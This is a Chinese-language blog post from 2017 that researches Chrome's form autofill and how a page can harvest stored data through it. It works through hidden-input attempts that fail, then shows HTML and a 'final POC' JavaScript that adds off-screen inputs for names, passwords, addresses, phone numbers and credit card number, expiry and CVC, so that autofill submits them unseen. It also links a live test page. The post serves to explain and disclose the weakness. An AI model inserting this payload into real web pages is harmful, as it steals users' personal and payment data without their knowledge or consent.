Chrome中“自動填充”安全性研究 2017-01-17 #chrome
昨天看到了一篇關于Chrome自動填充安全相關的文章。
文章中提到:“自動填充是個非常方便地瀏覽器特性,不過該特性在 Chrome 上也會存在一定的信息泄露的風險。Chrome 最近才修復了某個久負盛名漏洞。簡單而言,黑客能夠利用自動填充竊取你并不想提交給該網站的信息”
效果如下圖:
并提供了一段js來演示漏洞:
var autocompletes = ['name', 'honorific-prefix', 'given-name',
'additional-name', 'family-name', 'honorific-suffix',
'nickname', 'username', 'new-password',
'current-password', 'organization-title', 'organization',
'street-address', 'address-line1', 'address-line2',
'address-line3', 'address-level4', 'address-level3',
'address-level2', 'address-level1', 'country',
'country-name', 'postal-code', 'cc-name', 'cc-given-name',
'cc-additional-name', 'cc-family-name', 'cc-exp',
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
'transaction-currency', 'transaction-amount',
'language', 'bday', 'bday-day', 'bday-month',
'bday-year', 'sex', 'url', 'photo', 'tel',
'tel-country-code', 'tel-national',
'tel-area-code', 'tel-local', 'tel-local-prefix',
'tel-local-suffix', 'tel-extension', 'impp'
];
emailField.addEventListener('focus', function() {
var wrap = autocompletes.reduce(function(wrapper, field) {
var input = document.createElement('input');
// Make them not focussable
input.tabIndex = -1;
input.autocomplete = field;
wrapper.appendChild(input);
return wrapper;
}, document.createElement('div'));
// Hide the wrapper
wrap.classList.add('hidden');
form.appendChild(wrap);
// Inject the autocompletes once
this.removeEventListener('focus', arguments.callee);
});
我在測試以后并沒有成功復現該漏洞(因為只提供了js代碼,html并沒有提供,稍微改了改代碼也沒有達到想要實現的效果)。
但是通過上述js代碼,基本能看出來是什么樣的原理。
autocomplete
html中要實現瀏覽器中的表單自動填充主要依靠于autocomplete
屬性。
起初autocomplete
屬性只支持on
或off
。比如下面代碼:
First name:
Last name:
E-mail:
?
如上代碼對開啟了整個表單的autocomplete
卻對email
關閉了autocomplete
,所以我們在點擊非email
的其他表單即可打開自動填充功能:
但在email中卻不能展開自動填充功能:
后來HTML5標準加入了對autocomplete
的支持,并且給autocomplete
加入了更多的標示符,以保證讓瀏覽器準確的知道哪些信息對應著表單里的哪些字段。
比如如下代碼:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 郵政編碼: <input name=rp autocomplete="section-red shipping postal-code"> </label>
</fieldset>
</body>
</html>
我在autocomplete
屬性中寫入了語義化的字符,比如name
、street-address
等。
瀏覽器即可準確的把相應的信息填入到相應的表單中。
惡意利用
如果能在用戶不知情的情況下,拿到用戶瀏覽器存儲的其他信息,即可造成很可怕的后果,那么我們就得讓用戶看不見我們的輸入框就好了。
通過如上demo我們可以發現,當我們選擇自動填充以后,chrome不僅會把當前表單字段填充到input中,也會把其他表單字段填充到input中。
type=hidden
那么如果我們寫一些type
為hidden
的input
標簽,并且加上autocomplete
屬性,chrome是否會自動補上帶有hidden
屬性的input
標簽的信息呢呢。
我們使用如下代碼:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input type="hidden" name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 郵政編碼: <input name=rp autocomplete="section-red shipping postal-code"> </label>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
我們將第一個姓名字段設置為hidden
,然后使用自動填充,并且提交表單,查看請求包:
發現type
屬性為hidden
的表單并沒有獲取到,但其他非hiddend的信息都拿到了。
display:none;
既然type
設置成hidden
瀏覽器不給信息,那么我們如果讓這個input
表單讓用戶看不見,但瀏覽器認識呢?比如如下代碼:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="display:none;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
我們在表單外層放一個div,讓整個div,display:none
。
然而也是不行的:
看來chrome已經在這里做了足夠的手腳來防護這樣的問題。
其實在文章最初提供的js代碼也是使用這樣的方式來進行攻擊的。
看來現在已經被修復了。那么我們就沒有其他辦法實現了嗎?
讓用戶看不見,瀏覽器認識的魔法
我們現在要做的無疑是讓瀏覽器認識且沒有做防護,并且讓用戶看不見這個表單,我們的任務就達到了。
這樣的辦法有很多,比如這樣:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="margin-left:-1000px;height:0px;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
效果如下:
bingo??!
實現讓用戶看不見,瀏覽器卻認識的辦法很多很多。
比如上面的,比如脫離文檔流,比如使用表單的所有東西設置成白色(讓用戶肉眼看不見即可),比如使用z-index調到下層,等等等等……
最終POC
var autocompletes = ['name', 'honorific-prefix', 'given-name',
'additional-name', 'family-name', 'honorific-suffix',
'nickname', 'username', 'new-password',
'current-password', 'organization-title', 'organization',
'street-address', 'address-line1', 'address-line2',
'address-line3', 'address-level4', 'address-level3',
'address-level2', 'address-level1', 'country',
'country-name', 'postal-code', 'cc-name', 'cc-given-name',
'cc-additional-name', 'cc-family-name', 'cc-exp',
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
'transaction-currency', 'transaction-amount',
'language', 'bday', 'bday-day', 'bday-month',
'bday-year', 'sex', 'url', 'photo', 'tel',
'tel-country-code', 'tel-national',
'tel-area-code', 'tel-local', 'tel-local-prefix',
'tel-local-suffix', 'tel-extension', 'impp'
];
var myform = document.getElementsByTagName('form')[0];
var mydiv = document.createElement('div');
mydiv.style.marginLeft = "-1000px";
mydiv.style.height = "0";
mydiv.style.width = "0";
for (x in autocompletes){
var tmpInput = document.createElement('input');
tmpInput.name = autocompletes[x];
tmpInput.autocomplete = autocompletes[x];
mydiv.appendChild(tmpInput);
}
myform.appendChild(mydiv);
在線測試地址:http://www.yaoqianglawyer.com/poc/autofill/